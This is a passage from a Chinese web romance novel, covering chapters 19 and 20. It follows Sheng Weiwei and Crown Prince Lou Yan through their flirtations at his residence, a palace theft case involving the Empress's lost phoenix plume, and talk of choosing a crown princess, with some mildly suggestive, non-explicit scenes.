“别人挑的,孤不放心。”
盛溦溦咬了咬唇,故意道:“既是身世清白,那殿下自己留着便好。”
娄宴眉梢一扬,面上毫无波澜:“如此,孤便将她们留下守夜,另挑两个服侍你,如何?”
这……开玩笑……不必太当真吧?
盛溦溦不服输:“殿下,那我能不能要两个侍卫守夜?”
“长夜漫漫,为了避免你孤寂,孤亲自为你守夜。”
盛溦溦听出娄宴语气里的暧昧,只觉得耳后根都烧起来了。
19. 019
第十九章
娄宴回太子府后,便再未出门,同盛溦溦用过午膳之后,便一直呆在书房里批阅奏折,他有许久没有接手朝堂事务了,此刻桌上的奏折都快堆成小山丘了。
太子殿下表面光鲜靓丽,背后的辛苦和压力也是非常人能所及的!
盛溦溦趴在桌子旁,盯着娄宴看了许久,偶而对方目光看过来,她便抱以一个暖暖的笑容,娄宴被她的笑容一晃,觉得手中的奏折都不香了,抱着温软馨香的可人在怀里,不是更香么!
在念头即将付诸行动之前,娄宴的目光触及到她脖颈、耳后、手腕处的浅浅粉红印迹,那都是两人缠绵时,他情到浓时所留下的,纵使当时已经一忍再忍,还是弄疼了她,目光不由的暗了暗,隐隐露着一丝心疼和自责,她身子单薄柔弱,纤细的腰肢稍稍用力一握都要断了一般,怕是再也禁不住他一日三次了。
“溦溦,你若是再这么盯着孤看,孤不介意再抱你上榻。”
盛溦溦的笑容瞬间凝固住,愣愣地看着他上挑的眉梢,忙一拍脑袋站起身来:“唉呀,我怎么忘了我还烧着水呢,殿下渴了吧,我去给你沏杯茶来。”
说罢,脚底一抹油,就朝屋外跑去。
娄宴看着盛溦溦灵活迅速的背影,莫名有些后悔,看来他想多了,这般灵活轻巧有劲儿,再酣战几个来回也不是不可以。
……
就像盛溦溦所说的,书房是比较私密的地方,是娄宴主要的办公地点,除了他特别吩咐以外,府里的下人们都不敢朝书房这边来,所以伺候茶点的事还是落在了盛溦溦身上。
盛溦溦从十里处打探得知,娄宴早些年因常年在外征战,有时为了防止敌军突袭,常常是通宵达旦地研究军事防控部署,加之饮食不规律,所以胃不太好,吃饭也吃的少,盛溦溦知晓后,便想着慢慢给娄宴调养胃,像丁香茶、姜枣茶、莲子茶之类的,她都准备了一些,现在是夏季,天气比较干燥,她便沏了一杯菊花茶。
娄宴看到杯里的菊花,视线不冷不热的落在盛溦溦身上,看来她确实有些吃不消了,急于让他清清体内的欲、火。
有句话儿说的好——一朝尝过情滋味,从此节操是路人——他这荤尝的有点儿迟,就想着把从前荒废的时间统统补回来。
盛溦溦不知道娄宴心中所想,见他眉头微蹙,便殷勤地解释道:“我知道殿下不爱喝菊花茶,所以我加了点儿今年新酿的贡蜜,口感很好的,殿下尝尝?”
娄宴端起茶杯,微抿了一小口,确实清香微甜。“嗯。”
盛溦溦见娄宴似乎对茶还挺满意,这才放下心来,却也不敢再在他身边多呆,便道:“那殿下忙着,我下去啦。”
娄宴放下茶杯,睨了她一眼,口气淡淡:“就在屋内呆着。”
这人说变卦就变卦啊,刚刚也是他说自己在这里会影响他的呀。
可盛溦溦看着娄宴不动声色的样子,怂到连反驳的勇气都没有,闷闷地应了一声“好”。
早知道就把卫生留到下午打扫了,书房加院子也就那么大,盛溦溦都打扫了一上午了,早就打扫干净了,此时又被娄宴命令不能出去,在这里又无所事事,索性她上午带了一块云罗锦段来,那是在库房里见到的,觉得颜色和图样十分好看,打算拿来做手工的,此刻闲来无事正好开工,她的手工不算太好,但用来打发时间最好不过了。
屋内的云香丝丝绕绕缠绕向上,散发出的香气淡雅好闻,此刻一个坐在桌前敛眉沉思,一个倚在榻沿托腮蹙眉,两人互相不打扰,中间隔着一扇描金镶彩、细柔轻薄的江河山川屏风,一小段几步就能走完的距离,气氛莫名的温馨暖融。
盛溦溦盯着手上的锦段,又是轻轻一声叹,她本想绣个鸳鸯戏水的扇面的,一刀剪下去把锦锻剪小了,扇面是绣不成了,段面的大小做个香囊还差不多。
心有不悦的一抬眼,不经意间瞧见屏风的另一端,娄宴端坐在紫檀桌前,气质沉稳高贵,浑身天成的王者霸气也在不动声色间隐隐外泄,隔着似一层云纱似的屏风,竟像是看神仙一般,叫人移不开目了。
他本就长了一副盛世容颜的皮囊,此刻认真起来更是多了一份清隽儒雅,看的盛溦溦心驰神往,一不小心就将针头扎入了手指头。
“唔……”
“怎么了?”
屏风另一端陡然出声,盛溦溦还没回话呢,就见娄宴大步流星的走到她面前,满脸的担忧和心疼。
见他英眉紧锁,盛溦溦也有些不好意思,总不能说是看他看走神儿,才戳到手的吧。
“没事儿,不小心把针扎手上了……”
娄宴眉头拧的更紧了,不等盛溦溦话说完,便在她面前蹲下了修长的身子,握着她的手凑至唇边,又是吹又是吮,直到食指上冒出的一点儿鲜红的血消失不见,才抬头看她,眸色深幽,全是心疼。
“你这是打算为了孤,现学女红?”
现学?盛溦溦愣了一下,一般这个时候不都是问她疼不疼么?怎么娄宴的眼睛那么毒,一眼就瞧出她的女红不好?不好就不好吧,还偏要说出来!
气愤!
“谁说我现学了,我会绣很多东西呢,今日我便要绣个扇面!”
别瞧不起人,嘴硬谁不会。
“扇面?”娄宴目光在掉落的锦段上瞟了一下,唇色似乎勾了勾,神色不明地道:“你用巴掌大的扇子?”
“我……”盛溦溦真想找个地缝钻进去,终是羞恼:“我先绣个香囊练练手,找找感觉。”
娄宴捧起盛溦溦的脸:“孤正好缺个香囊。”
“香囊不行!”盛溦溦回的很是干脆果断,转脸见娄宴定定望着她,红着脸咬唇小声道:“我想送殿下一把扇子。”
“为何?”
“香囊太简单太常见了,绣个好看的扇面不是显得自己更有本事一些嘛。”
娄宴被她这番话逗的哭笑不得:“孤不嫌多,先送香囊,再送扇子。”
胃口真大,什么都要啊。
“多么?孤不要也行,只要你一个就够了。”
盛溦溦脸一红,伸手的拳头还没到娄宴胸前,就被他握住了,轻轻一扯,便被他结结实实的拉入的怀里。
两人在书房里嬉闹了一会儿,就有人来太子府串门儿了,其实这也在盛溦溦预料之内,原先娄宴生了病,闭门谢客,所以才把太子府弄的冷冷清清,如今他已经恢复来往应酬,太子身份依旧,想巴结的、攀附的人自然络绎不绝。
说实话,这都半下午了,才来了第一个人,盛溦溦都觉得比她预料的还要晚了些时辰。
娄宴去前殿应酬去了,盛溦溦便将书房重新归整了一番,这才回到自己的鎏音阁,话说屋门头上的鎏音阁三个字还是娄宴题的,她起初并不知道,只是觉得字迹放荡不羁,却又透着一股稳,很是好看,后来从十里口中得知是娄宴题的字,娄宴在她心中冷峻的形象,缓缓变得深邃起来。
守在屋外的银秀和金铃见到盛溦溦,立刻迎了过来。
“姑娘回来了。”金铃声音清脆,笑起来很没心没肺的样子。
金铃和银秀一个机灵一个内敛,一个活泼,一个沉稳,互补互助,倒也不错。
“姑娘,这是这个月的例银,奴婢刚领回来的。”
盛溦溦有些懵,例银?南夜国的工资?
盛溦溦有些兴奋,还有些不敢置信:“……多少?”
“月金十十两,月银二十两,此外每季还有云锦贡段2匹、妆缎3匹、倭缎3匹等布料,冬季里貂皮40张、乌拉貂皮50张,每月吃食……”
银秀还在说,盛溦溦却已经在飘了,从此以后,她在这南夜国也是有收入的人了!
……
娄宴正式恢复了早朝,盛溦溦虽然赖床,但每日娄宴醒的时候,她也就跟醒了,替他更衣、送他出了府,才会回来补个回笼觉。
等到日上三竿,方才起榻吃早膳,通常早膳吃过没多久,娄宴便下朝回来了。
这日,娄宴回府时,身边还跟了个人,穿着青色的官服,官阶似乎不大。
盛溦溦正在给书房里的绿植浇水,见娄宴领着人回来,十分自觉的告声欲退,娄宴本来是想留她在屋里的,见她这般模样,便也没勉强。
“臣以为此事既然源头是出在皇宫,还是应从皇宫查起,事关皇后娘娘……”
盛溦溦出来的时候,听到那位大人的声音传来,但是没怎么听清,只是隐约中觉得事情
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不是什么小事,可能与后宫有关。
盛溦溦也没打探问此事,只是没想到,晚膳时,娄宴倒主动说起了此事。
“你还记得那日你在后宫诱出的宫女吗?”
盛溦溦一勺银鱼鸡蛋羹入口,正感叹银鱼和鸡蛋真是天然搭配,又鲜又嫩又爽滑,忽然听娄宴这么一说,知道事有玄机,便道:“殿下是指害罗公公的那个宫女?”
“嗯。”娄宴眉峰微拧,缓缓点头:“她为争取宽大处理,主动坦白盗取宫中御品、再倒卖出宫一事,现查出宫中丢失的御物达三千余件,性质恶劣,父皇命孤全力调查此事。”
听到数量,盛溦溦心中很是震惊,却也没觉得多么奇怪,毕竟皇宫这种地方,自古以来都是天下至尊至贵之物的归处,奇珍异宝数不胜数,哪怕是个小小的贵人,宫里的东西也是成千上万,稀罕物件也能占到十分之一,好东西太多的坏处便是不会有人真的每天点数,所以监守自盗这种事便就顺理成章了,成为太监宫女们的另一笔丰厚收入的来源。
但三千余件的数量不算少了。
不得不佩服干这事儿的人,胆儿够肥!
只是盛溦溦真正觉得奇怪的地方,是这种事一般交给内务府处理便可以了,怎么会让身为太子的娄宴去调查这件事儿呢,以他的身份地位,不是更应该处理一些朝廷大事么?!
像是看出了盛溦溦心中所想,娄宴淡淡地道:“皇后凤翎也丢了。”
盛溦溦闻言,秀眉微微一蹙,瞬间便明白了事情的重要性,凤翎是皇后权利的象征,就和凤印一样,意义重大,但因为凤翎用到的地方极少,一般都搁置在翊坤宫,应该是此次御物丢失后,翊坤宫盘查时,才发现凤翎丢失。
看着满桌可口的饭菜,盛溦溦突然没了胃口:“那方才那位大人,同殿下说的就是这件事吗?”
“嗯。”
“殿下,宫里的事我自然是不懂的,但此事与殿下为我夜闯翊坤是否有关?”盛溦溦总觉得这件事太过巧合,昨夜娄宴为护她,夜闯翊坤宫,还和皇后撕破了脸,导致本来还能面和心不和的皇后与娄宴两人,现在势同水火、针锋相对,凤诩失窃是否是皇后自导自演的闹剧,目的只是为了增加娄宴查案的难度和速度?毕竟这是娄宴重归朝堂后所查的第一桩案子。“皇后恼恨于心,才……”
娄宴深不见底的眸子里倒映着盛溦溦的影子,无声的叹息后,宠溺地揉了揉她的脸颊,再将她轻轻揽入怀里,语调尽量轻缓柔和:“太子府回归正常一事,孤早有考虑,即使没有你,也是这一两个月的事,不过早了一些罢了。”娄宴神色淡淡,下巴轻轻抵在盛溦溦的发顶,清淡的发香缓缓入鼻:“孤担心的另有其事。”
“什么事?我能帮到殿下吗?”
娄宴眸色忽地一沉,语气也重了一些:“皇后向父皇提及为孤纳太子妃一事。”
盛溦溦:“……”
这事儿她可帮不了。
这事儿她压根也不想帮!
娄宴见盛溦溦明亮的眸子陡然一黯,不禁伸手抬起她的下巴,迫使她的眼睛与他对视:“吃醋了?”
盛溦溦幽幽地看了娄宴一眼,这么明显你还看不出来?
“殿下在上,我不敢。”
“你还不敢,你就差把吃醋两个字写在脸上了。”
娄宴见盛溦溦一双淬玉漆墨般的水眸,心口轻轻一叹,俯身吻住她的唇,直教将她吻的呼吸不稳,才松开对她的束缚:“孤此生有你,足矣,旁人任是谁,皆与孤无关。”
emmm……这话,齁甜啊!
可甜过之后的盛溦溦,回想起上一世,最终是太子府与丞相府联姻,才使得娄宴成功赢得帝位,心里不禁开始隐隐作痛,透亮的眸子也越来越暗。
“殿下有殿下的姻缘,我不能耽误殿下。”
“孤的姻缘,便是你。”
盛溦溦只觉得眼眶发酸:“殿下……”
“你且安心,皇后眼下只顾着盗窃一案,还顾不得逼迫孤迎娶太子妃。”娄宴手指在盛溦溦唇上柔柔一滑,柔软馨香的触感令他手指一滞:“孤之所以现在告诉你,是怕你若是从别人口中得知此事,势必会担心猜疑。”
我也没那么小气吧?
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第二十章
宫中御物失窃一案,娄宴查了两日,已有些眉目,但此事牵连甚广,不仅涉及后宫,甚至前朝也有位居高位的大臣牵涉其中,越查牵涉的人越多,水也越深。
但皇上似乎下定决心要好好整治肃清一番,不仅限定了破案时限,还以查案方便为由,让娄宴搬回皇宫暂住。
这是娄宴回归朝庭后接手的第一个案子,自然得十二分重视,不能敷衍对待。
盛溦溦得到消息后,当即便替娄宴收拾了几套换洗的衣物,她知道以皇后的手段,一定会让内务府准备好给娄宴的换洗衣物的,但以娄宴的脾性,只是表面上承皇后这个情,维系好表面功夫,实际上压根不会用的,所以她还是自己准备才是上上策。
娄宴回府的时候,盛溦溦已经将衣物收拾好了,朝服、寝衣、贴身内衣、绶带、袜子等等叠的整整齐齐,统统收拾进带进宫的箱子里。
盛溦溦愣愣地盯着那箱子,真不如把自己也塞进箱子里,一起打包送入皇宫多好啊。
听见门外传来声音,盛溦溦抬眼见娄宴站在廊下:“殿下!”外面不知何时下了雨,虽然有人给他撑伞,但肩膀处还是沾了些水,忙踮起脚尖准备替他拍身上的雨水,谁知脚下重心没稳住,竟直直的朝他怀里扑去。
娄宴将她稳稳的搂在怀里,冷沉的神色瞬间变得神清气爽起来,吻了吻她的额,声音甚着令人发疯般的宠溺:“孤回来未曾洗手,等洗了手再抱你,可好?”
盛溦溦知道娄宴又误会她了,也怪不得他,她这个样子,任谁都会误会的。
盛溦溦忙站稳了身子,道:“殿下进屋歇着,我去打水给您洗手。”
“不必打水,你陪孤一道去。”
“好。”
屋外就是天然的泉池台,盛溦溦第一次洗墨玉的时候,就特别喜欢这个泉池台,水干净清洌,又是过滤无杂质的,用它来烧水喝,还有一股甘甜的味道。
盛溦溦一边替娄宴卷袖子,一边道:“殿下,太阳还没落山呢,您今日回来的可真早!”
这几日忙着查案,娄宴回府的时辰较晚,通常都是天黑了以后才回府。
娄宴轻以握住盛溦溦的手,语调缱绻浓浓,似有愧疚一般道:“孤这几日忙了些,冷落你了。”
盛溦溦:“……”
我并没有这个意思啊!
娄宴这个想法有问题,她可是巴不得她事业如日中天,早上登基称帝,这样一来,盛家也就有救了。
盛溦溦摇摇头,努力想消除娄宴的自责的念头:“殿下,男子三十岁以前当然是以事业为主啦,正所谓‘少壮不努力、老大徒伤悲’啊,这个时候不努力,那什么时候努力呢!所以殿下放心去闯事业吧,我作为殿下的坚强后盾,自然是双手双脚都无条件支持啦。”
娄宴似乎轻轻扯了一下好看的唇,伸手在盛溦溦额前轻轻一点:“你这小脑袋里,整天都在想些什么?”
盛溦溦眨眨透亮的眼眸,满脸真诚:“殿下都说我的脑袋小了,除了想殿下,哪还能想别的呢!”
这自我觉悟够高了吧。
冷淡如娄宴,是最烦听这些无用之话的,可从盛溦溦口中说出来,意觉得十分入耳,心情都跟着变好。
见娄宴打开了水池开关,将手浸入接水的盆里,盛溦溦殷勤地凑了过去:“我帮殿下洗吧。”
娄宴挑眉点头,淡淡的“嗯”了一声。
娄宴的手型特别好看,十指修长又骨节分明,却又不像一般的养尊处优的王公贵族公子那般娇嫩,他的手上布满了大大小小的伤痕,都是征战时留下的。
这还是盛溦溦第一次这么认真又细致地帮他洗手,看着那些伤痕,便忍不住上手去摸,细软酥麻的触感令娄宴眉头拧的一下,继而又紧了紧。
盛溦溦抬起眸,口气又是心疼又是笃定:“一定很疼吧。”
娄宴垂眸,喉结下下滑动:“不疼。”
“十指连心,怎么会不疼!”盛溦溦皱眉,只是现在不疼罢了,当时一定是很疼的。“那个玉芙膏很好用,呆会儿洗干净了,回去给殿下抹点儿吧,抹的时间长一些,这些疤痕就会渐渐淡了。”
娄宴脸上的淡漠表情没多大变化:“你不喜?”
“当然不会啊!”盛溦溦摇头,“有疤痕的男人才比较有魅力嘛!”
娄宴挑眉:“那便不用抹了。”
“哦。”
都说男人不在乎外表,看来果真不假啊!
水池不算矮,偏偏娄宴又高出她许多,她几乎要将半个身子都探过去,才能将娄宴的手洗干净,待到洗好了手,直起身来的时候,她发觉自己胸前的衣服几乎、大概、全部湿透了。
盛溦溦穿的又是薄薄的纱裙,被水不浸,那纱裙几乎是半透明地贴在身上,将她曼妙玲珑的身材裹的若隐若现。
很是诱人。
娄宴目光陡的沉了几沉。
盛溦溦一紧张,慌忙用手护住身前,动作太大,以至于身前两处山峰耸动了几下,使得她本就红透了的脸,更是红到无法形容:“……我……我去沐浴……”
刚转身要逃,娄宴一个伸手,轻松地抓住了她的后衣领,压低的音色尽量平和:“孤觉得有一事你说的很对。”
盛溦溦狐疑:“什么事?”
“礼尚往来。”娄宴打横将盛溦溦抱了起来,唇角勾起蛊惑人心的魅力:“你帮孤洗手,孤也应该礼尚往来。”
盛溦溦想挣扎,可浑身湿漉漉的她做不到啊!“我不用洗手啊!”
娄宴眉心微拧,沉沉地叹了口息:“孤当然不会只帮你洗手。”
盛溦溦:“……”
这礼回的也未免大了些吧。
……
直到盛溦溦快饿的不行了,娄宴才结束了他难以言喻的礼尚往来。
从浴池里爬上来的盛溦溦感觉整个人有些飘,脚有些发虚,在浴池边有些站不起来,最后还是娄宴将她抱着寝屋的。
顺便吩咐小厮将晚膳也送到寝屋。
比起娄宴这个只凭长相、不凭实力的吃播,盛溦溦觉得自己更像是一个吃播,最启码她吃起来更卖力更敬业。
娄宴自己吃的不多,还吃的慢条斯理,还不时地给盛溦溦夹菜,把她面前的碗堆的高高的,像座山。
盛溦溦抗议:“殿下,我是人,又不是猪。”
娄宴性感的唇微启,唇瓣上不见一丝油迹,就跟没吃东西一样。“有何不同吗?”
盛溦溦:“……”
盛溦溦趁着扒拉饭的间隙,小声嘀咕:我是猪,你是什么?
“大声一点。”
盛溦溦鼓起勇气:“我说我是猪,那殿下同猪在一起吃饭,殿下是什么呢?”
“爱猪的人。”
盛溦溦:“……”
竟无法反驳怎么肥事!!!
盛夏的雨来的快去的也快,可这场雨从娄宴回来的时候就一直下到现在,空气又潮湿又躁闷,吃了一会儿饭,盛溦溦额上竟生了些汗丝。
娄宴拿着锦帕替她擦了擦额上的汗:“怎么不用寒冰?”
盛溦溦委屈巴巴地:“殿下
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又不在府里,我一个奴婢,怎么能用那么高端的东西啊!”
娄宴缓缓放下筷子,目光郑重其事看向盛溦溦:“孤之所以让你管太子府,是为了给你身份,不论孤在不在府内,你都是他们的主子,切不可让自己受委屈。”顿了顿,道:“也要适可而止,孤知道,你贪凉,夜里要少用。”
这你都知道,还有什么你不知道啊!
盛溦溦好不容易将盛的满满的一碗饭菜吃完,娄宴又推过来一碗参汤。
“殿下,我真的喝不下了,你瞧——”盛溦溦捏捏自己粉嫩肉乎的脸,神情哀怨道:“进府一个月,什么都没长,光长肉了。”
娄宴将她揽入怀里,语调暖昧:“运动少了。”
“少吗?”盛溦溦从娄宴怀里抬起头,一眼便望入娄宴深邃的眼眸内:“我每天早晚都会在府里走上几圈,这府里大大小小的东西,恐怕我比殿下还熟悉一些呢!”
“不够。”
“那怎么样才……”
娄宴伸手抬起盛溦溦的下巴,俯身吻了下去,他的吻时而霸道时而轻柔,禁锢在她后脑上的手由不得她退让分毫,直到她在他怀里低喘,才松开了她的唇:“放心,孤会慢慢锻炼你。”
……
夜里被娄宴折腾的太累,又睡的太晚,第二日娄宴起床时,盛溦溦一点儿察觉都没有,倒是翻了个身继续身,薄软的锦被全被她蹬掉了,白嫩的肌肤全露面了琉璃榻上。
娄宴替她盖好了薄被,又吻了吻她的额头,这才出了寝屋,吩咐银秀和金环不许打扰她休息,让她睡到自然醒。
盛溦溦醒来的时候,都日晒三杆了。
和往常一样,起床梳洗用膳,上午把书房打扫了一遍,下午和银秀一起做了一会儿功夫,便坐不住了,将摘下的桃子洗净,做成蜜桃罐头,一天很快就过去了。
娄宴不回来,盛溦溦也不用等她用晚膳了,便早早的用了晚膳,独自在府里走了几圈消食。
金环伺候着盛溦溦上榻歇息时,盛溦溦突然想到了什么,问:“金环,你去过东宫吗?”
“奴婢没去过。”金环摇头,道:“奴婢只是听说过,太子殿下搬离东宫后,东宫便一直空着。”
盛溦溦抱膝坐在琉璃榻上,金环便将银勾上的云锦薄纱帘放了下来。
“殿下这次在宫里暂住,就是住在东宫里。”
“奴婢也听说了,奴婢还听说因为东宫里没人,所以皇后娘娘派了好些宫女去伺候呢,奴婢一个好姐妹也去了,那些宫女个个都打扮的花枝招展的,就想博太子殿下瞧一眼呢……”
银秀去外殿拿夜灯去了,一进屋就听金环的这些话,忙出声打断道:“你个小丫头,知道什么呀?咱们太子殿下对姑娘心有所属,自然看不上那些庸脂俗粉了,怎么打扮都是白忙活一场。”
金环瞧见银秀对自己使的眼色,吓的也不敢说话了。
银秀上前几步,见云锦薄纱内的主子抱膝而坐,看不清表情,便道:“姑娘,今夜您是想点云锦香呢,还是仙迷香呢?”
“云锦香吧。”
“好,奴婢给姑娘点上,姑娘早些歇息吧。”
银秀和金环退下后,盛溦溦一点儿困意都没有,尤其是金环的话就跟录音机似的一直在耳边响来响去。
盛溦溦是进过宫的,也见过那些宫女的,不说倾国倾城,却也个个眉清目秀,这长夜漫漫的,面对主动送上门的馨香软玉,娄宴该不会……
盛溦溦心里那个懊悔啊,早知道就钻箱子里,一并入宫得了,省得在这里胡思乱想的。